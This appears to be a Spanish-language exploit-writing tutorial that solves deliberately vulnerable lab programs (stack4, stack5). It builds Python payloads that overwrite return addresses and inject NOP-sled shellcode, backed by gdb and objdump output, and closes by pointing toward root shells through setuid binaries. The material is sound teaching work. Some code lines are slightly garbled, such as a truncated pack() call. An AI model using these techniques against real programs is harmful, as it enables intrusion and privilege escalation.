# ATAQUE RET2WIN
### Análisis del programa vulnerable
### Stack 4
```c
#include
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you win!\n");
}
```
#### ¿Qué hace el programa?
Se declaran dos variables locales: `cookie` y `buf`. Y una función `gets(buf)` que toma datos de la entrada estándar y los guarda en `buf`. La única diferencia con programas anteriores es que esta vez el valor de `cookie` debe ser `0x000d0a00`.
#### Layout de la pila antes del exploit:
Es idéntico al de programas anteriores.\
Antes de ejecutar `gets(buf)` el mapa de la pila del programa es el siguiente:
```c
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
eip => gets(buf);
if (cookie == 0x000d0a00)
printf("you win!\n");
}
```
Información útil del mapa de la pila:
```c
[ebp-0x54] = buf
[ebp-0x4] = cookie
[ebp] = ebp anterior guardado
[ebp+0x4] = dirección de retorno
```
#### Solución anterior: modificar valor de cookie
Probamos con la misma estrategia que en los problemas anteriores, modificando el valor de `cookie` para que el condicional se evalúe como verdadero.
```
#exploit.py
#!/usr/bin/python
output = "A" * 80 + "\x00\x0a\x0d\x00"
print output
```
Pero observamos que el mensaje ganador no se imprime:
```
user@abos:~$ python exploit.py |./stack4
buf: bffff5b4 cookie: bffff604
user@abos:~$
```
Si debugeamos el programa vulnerable con [`gdb`](https://fundacion-sadosky.github.io/guia-escritura-exploits/herramientas.html#debugger-gdb) podemos observar porqué.
```
user@abos:~$ python exploit.py > exploit
user@abos:~$ gdb stack4
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Reading symbols from stack4...done.
>>> break main
Breakpoint 1 at 0x8048461: file stack4.c, line 10.
>>> run < exploit
```
Avanzamos varias instrucciones (con el operador `ni` en `gdb`) hasta llegar a la evaluación condicional y nos detenemos en la instrucción encargada de comparar el valor de `cookie` con `0x000d0a00`:
```
main+39 mov eax,DWORD PTR [ebp-0x4] ; se almacena el valor de cookie en eax
main+42 cmp eax,0x0d0a00 ; se evalua ¿cookie == 0x000d0a00?
```
Si detenemos la ejecución antes de la comparación podemos observar el valor del registro `eax` donde está almacenado el valor de `cookie`.
Apesar de que en `exploit.py` apuntamos a sobreescribir `cookie` con el valor `\x00\x0a\x0d\x00`, vemos que el registro `eax` que almacena el valor de esa variable tiene un valor de `0x00000000`.\
Si analizamos la documentación de `gets()` (con `man gets`) vemos que la lectura de caracteres se interrumpe con el caracter de nueva línea `\n` (el carácter de salto de línea ASCII en hexa es `0a`). Por lo tanto la escritura en `cookie` de `\x00\x0a\x0d\x00` lee `0x00` y se interrumpe por el carácter `0x0a` que es reemplazado por un caracter nulo.\
De esta manera `cookie` no tiene el valor adecuado y no se cumple la condición.
#### ¿Cuál es la dificultad principal?
En el valor de `cookie` hay caracteres que controlan el funcionamiento de `gets()`:
{% hint style="success" %}
1. `gets()`, `fgets()`: leen por stdin hasta el byte de control `\x0a`.
2. `strcpy()`, `strlen()`, `strcmp()`: manipulan el string hasta `\x00`.
{% endhint %}
### Redireccionando el flujo de ejecución
Previamente se usó una estrategia de corrupción de la pila para modificar el valor de una variable local.\
No obstante, el ataque **Smash the stack** tradicional tiene como objetivo controlar el flujo de ejecución del programa vulnerable para ejecutar código malicioso. Para ello es necesario controlar el registro `eip`. Este registro no puede ser modificado de manera directa sino que su valor cambia de acuerdo a las instrucciones de máquina. Por ejemplo, la instrucción `ret` toma una dirección del tope de la pila y la almacena en `eip` para que el flujo de ejecución salte inmediatamente después a ella.\
De esta manera si es posible controlar las direcciones de retorno almacenadas en la pila es posible controlar, en última instancia, el valor del registro `eip` y por ende el flujo de ejecución.
Para ello este tipo de ataques cuenta con dos pasos. Primero, gracias al desbordamiento de un búfer, se reescribe una dirección de retorno en la pila. Segundo, se inyecta código malicioso en la pila del proceso, para apuntar allí la dirección de retorno.\
Entonces, esta vez la corrupción de la pila tendrá como objetivo modificar el retorno de una rutina para lograr un salto a una dirección determinada dentro del programa vulnerable.
El objetivo ya no será modificar el valor de `cookie` sino aprovecharnos de que `printf("you win!\n")` es parte del programa vulnerable. De esta manera con una corrupción de la pila modificaremos la dirección de retorno de `main()` para que, al retornar, el flujo de ejecución salte directamente a la línea de código `printf("you win!\n")`, sin importar la evaluación de `cookie`.
```
:
if (cookie == 0x000d0a00)
mov eax,DWORD PTR [ebp-0x4]
cmp eax,0x41424344
jne 0x80484a9
printf("you win!\n");
--> push 0x8048548
| call 0x8048340 ; llamado a puts() porque string es estático
| add esp,0x4
| mov eax,0x0
|
| }
| leave
eip=> +---< ret
```
La estrategia será ingresar un input adecuado para sobreescribir la dirección de retorno de `main()` almacenada en la pila, y reemplazarla por la dirección de `printf()` que imprime el mensaje ganador.
* Identificamos la dirección de la llamada a `printf()`
```
user@abos:~$ objdump -M intel -S stack4
```
```
Disassembly of section .text:
08048390 <_start>:
....
0804848b :
if (cookie == 0x41424344)
08048492: mov eax,DWORD PTR [ebp-0x4]
08048495: cmp eax,0x41424344
0804849a: jne 0x80484a9
printf("you win!\n");
--> 0x0804849c: push 0x8048548 ; addr de la llamada a printf()
| 0x080484a1: call 0x8048340
| 0x080484a6: add esp,0x4
| 0x080484a9: mov eax,0x0
|
| }
| 0x080484ae: leave
eip => +-- 0x080484af: ret
```
Al ejecutar la instrucción leave, se reestablece el tope de la pila (`esp` apunta a `ebp`) y se actualiza el registro `ebp` al marco de la función anterior (de forma simplificada correspondería a `_start`) con un `pop ebp`. En este punto, el tope de la pila `esp` apunta a la dirección de retorno de `main()`. La instrucción `ret` desapila una dirección del tope de la pila y la almacena en el registro `eip`. El programa continúa su ejecución en esa instrucción indicada por `eip`.
El objetivo es generar un layout de pila tal que la dirección de retorno en el tope de la pila al momento de ejecutar la instrucción `ret` sea la dirección de la primer instrucción del `printf()` (`0x0804849c: push 0x8048548`).
* Planificamos el overflow por entrada estándar, considerando el formato little endian en la dirección de `printf`:
* Armamos un archivo en Python para ingresar el input: exploit.py
```
#! /usr/bin/env python
"""Uso: ./exploit.py | ./stack4 """
import sys
from struct import pack
ret_addr = 0x0804849c #addr de printf("you win!")
exploit = "A" * 80 #fill buf
exploit += "BBBB" #fill cookie
exploit += "CCCC" #fill ebp
exploit += pack(", ret_addr) #set return address
sys.stdout.write(exploit)
```
> **Consideraciones**: en python es posible convertir a formato little endian una dirección importando `struct` y usando la función `pack`: `pack("`
1. `Ejecutamos el exploit`
```
user@abos:~$ ./exploit.py | ./stack4
buf: bffff5a4 cookie: bffff5f4
you win!
Segmentation fault
user@abos:~$
```
La condición que evalúa el valor de `cookie` es falsa, pero después de ejecutarse el código de `main()` la dirección de retorno apunta a `printf()`, por lo que se salta allí y se imprime `you win!` por pantalla.
Gráficamente logramos el siguiente resultado:
Para lograr sobreescribir la dirección de retorno de `main()` tuvimos que pisar valores importantes como el puntero `ebp` almacenado en la pila. Es por ello que luego de imprimir el mensaje ganador se produce una violación de segmento al intentar acceder a direcciones por fuera del mapa de memoria del proceso. Si reconstruyeramos el layout de la pila podríamos lograr una salida del programa sin errores. …………………………………………………………………………………………………………………………………………………
## ATAQUE "SMASH THE STACK" CON INYECCIÓN DE CÓDIGO
### Análisis del programa vulnerable
### Stack 5
```c
#include
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
```
#### ¿Qué hace el programa?
El programa es idéntico al de stack4, pero se imprime un mensaje diferente.
#### Solución anterior: aprovechar mensaje existente
No es de utilidad usar la misma estrategia que en el exploit del stack4, dado que si logramos saltear la evaluación condicional, el mensaje que logramos imprimir no es el deseado.
```bash
user@abos:~$ python exploit.py | ./stack5
buf: bffff5b4 cookie: bffff604
==> you loose!
```
#### ¿Cuál es la dificultad principal?
¡Ya no podemos saltar al mensaje ganador! El mensaje ganador a imprimir ya no es parte del programa vulnerable.\
Una opción entonces es crear un propio programa que imprima el mensaje ganador: nuestro shellcode.
### RET2WIN
Necesitamos imprimir un mensaje ganador que no está en el programa vulnerable. Si bien es posible pensar diferentes ataques para lograr imprimir el string deseado, es una buena excusa para planificar una estrategia de inyección de código.
La inyección de código malicioso en la pila y su posterior ejecución conforman una técnica clásica para explotar programas vulnerables que es necesario conocer aunque su utilización no sea tan simple en escenarios actuales. Es por ello que aún es necesario deshabilitar artificialmente las mitigaciones que impiden ejecución de código en la pila (X^W) y la aleatoriedad en las direcciones de memoria.
La estrategia de ataque involucra crear un programa o shellcode que imprima por salida estándar el mensaje ganador, inyectarlo en la pila y ejecutarlo.
#### Layout de la pila deseado:
En `buf` ya no va a ir basura sino el shellcode antecedido por varios NOPs. Aprovechamos `gets()` para copiar los NOPs y el shellcode como string en la pila en `buf` y sobreescribirmos la dirección de retorno para que apunte a los NOPs de `buf`.
* Programamos el shellcode\
Nuestro shellcode es un programa simple creado en assembler que con una llamada al sistema imprime “you win!” por salida estándar. \
\
Podemos aprender a hacerlo en el [**artículo sobre shellcodes**](https://ajcruz15.gitbook.io/red-team/pwn-linux/teoria/syscall-y-shellcode).
```
shellcode = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
```
* Averiguamos dirección de `buf` en la pila ejecutando el programa vulnerable
```
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb
-mpreferred-stack-boundary=2 -z execstack -o stack5 stack5.c
user@abos:~$ ./stack5
buf: bffff5b4 cookie: bffff604
```
* Planificamos el overflow por entrada estándar, considerando el formato little endian:
* Armamos un archivo en Python para ingresar el input
```
#! /usr/bin/env python
"""Uso: ./exploit.py | ./stack5 """
import sys
from struct import pack
#shellcode, imprime you win!
shellcode = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
ret_addr = 0xbffff5b4 #addr de buf
exploit = "\x90" * 20 #nops iniciales buf
exploit += shellcode #shellcode
exploit += "A" * (80-20-len(shellcode)) #padding hasta fin de buf
exploit += "BBBB" #lleno cookie
exploit += "CCCC" #lleno ebp
exploit += pack(", ret_addr) #defino return address
sys.stdout.write(exploit)
```
* Ejecutamos el exploit
```
user@abos:~$ ./exploit.py | ./stack5
buf: bffff5b4 cookie: bffff604
you win!
```
Gráficamente logramos el siguiente resultado:
Es interesante tener en cuenta que el shellcode utilizado realiza un syscall `write` para imprimir el mensaje y luego un syscall `exit` para finalizar el proceso exitosamente. A diferencia de lo que sucedía en el stack4 (ejercicio en el que la destrucción del layout de la pila provocaba una violación de segmento), en este caso por el modo en que fue construido el shellcode el programa finaliza sin errores.
#### Lograr privilegios de root
En escenarios reales el objetivo no será imprimir un mensaje ganador sino lograr privilegios de root para exponer archivos e información privada, manipular logs, etc.\
Existen varias estrategias para lograr una shell con privilegios de root o directamente para escalar privilegios a partir de una shell, que exceden el objetivo de esta guía en este punto. Por ejemplo en un escenario en el que se ataca un binario compilado con setuid root, si se logra que el programa vulnerable realice una syscall execve y ejecute una shell con `execve("/bin/sh")` ésta será una root shell. Es por ello que en la compilación del binario ejecutable modificamos los permisos de la siguiente manera:
```bash
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb
-mpreferred-stack-boundary=2 -z execstack -o abo abo.c
user@abos:~$ sudo chown root ./abo; sudo chmod u+s ./abo ; root owner & setuid
user@abos:~$ ls -la
-rwsr-xr-x 1 root user XXXX Jan 01 00:00 abo
```